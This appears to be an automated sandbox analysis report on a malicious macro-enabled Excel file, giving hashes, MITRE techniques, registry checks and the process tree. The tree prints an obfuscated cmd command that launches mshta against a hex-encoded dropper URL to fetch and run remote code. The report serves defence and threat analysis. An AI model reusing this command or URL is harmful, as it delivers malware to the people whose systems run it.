aca67468ced86d88c980d851092607e06405b3109230404fb7c51c6c916f389b

General

Target

aca67468ced86d88c980d851092607e06405b3109230404fb7c51c6c916f389b.xlsm
Size

114KB
MD5

4962c644e09bb0011788f7b2fe368e40
SHA1

13465cd4f8d94af607145cb65eb901a71a33437d
SHA256

aca67468ced86d88c980d851092607e06405b3109230404fb7c51c6c916f389b
SHA512

320c40058c983b6b9be51635f467779a7445c40ce69c3be890f27e61d2364912fc8ecd46224703ad9165b83607df5ad8e4e488da0346e57d9d85213cb0e78541

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0x5cff39c3/sec/sec.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	968	3052	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

38 2696 mshta.exe

flow	pid	process
38	2696	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3052 EXCEL.EXE

Suspicious use of SetWindowsHookEx 20 IoCs

Processes:

EXCEL.EXE

pid	process
3052	EXCEL.EXE
3052	EXCEL.EXE
3052	EXCEL.EXE
3052	EXCEL.EXE
3052	EXCEL.EXE
3052	EXCEL.EXE
3052	EXCEL.EXE
3052	EXCEL.EXE
3052	EXCEL.EXE
3052	EXCEL.EXE
3052	EXCEL.EXE
3052	EXCEL.EXE
3052	EXCEL.EXE
3052	EXCEL.EXE
3052	EXCEL.EXE
3052	EXCEL.EXE
3052	EXCEL.EXE
3052	EXCEL.EXE
3052	EXCEL.EXE
3052	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 3052 wrote to memory of 968	3052	EXCEL.EXE	cmd.exe
PID 3052 wrote to memory of 968	3052	EXCEL.EXE	cmd.exe
PID 968 wrote to memory of 2696	968	cmd.exe	mshta.exe
PID 968 wrote to memory of 2696	968	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\aca67468ced86d88c980d851092607e06405b3109230404fb7c51c6c916f389b.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3052

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/sec.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:968

C:\Windows\system32\mshta.exe
mshta http://0x5cff39c3/sec/sec.html
3⤵
- Blocklisted process makes network request
PID:2696

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3052-115-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

Filesize
64KB

Download
memory/3052-116-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

Filesize
64KB

Download
memory/3052-117-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

Filesize
64KB

Download
memory/3052-118-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

Filesize
64KB

Download
memory/3052-119-0x00007FFDCF190000-0x00007FFDCF1A0000-memory.dmp

Filesize
64KB

Download
memory/3052-128-0x00007FFDCC4B0000-0x00007FFDCC4C0000-memory.dmp

Filesize
64KB

Download
memory/3052-129-0x00007FFDCC4B0000-0x00007FFDCC4C0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads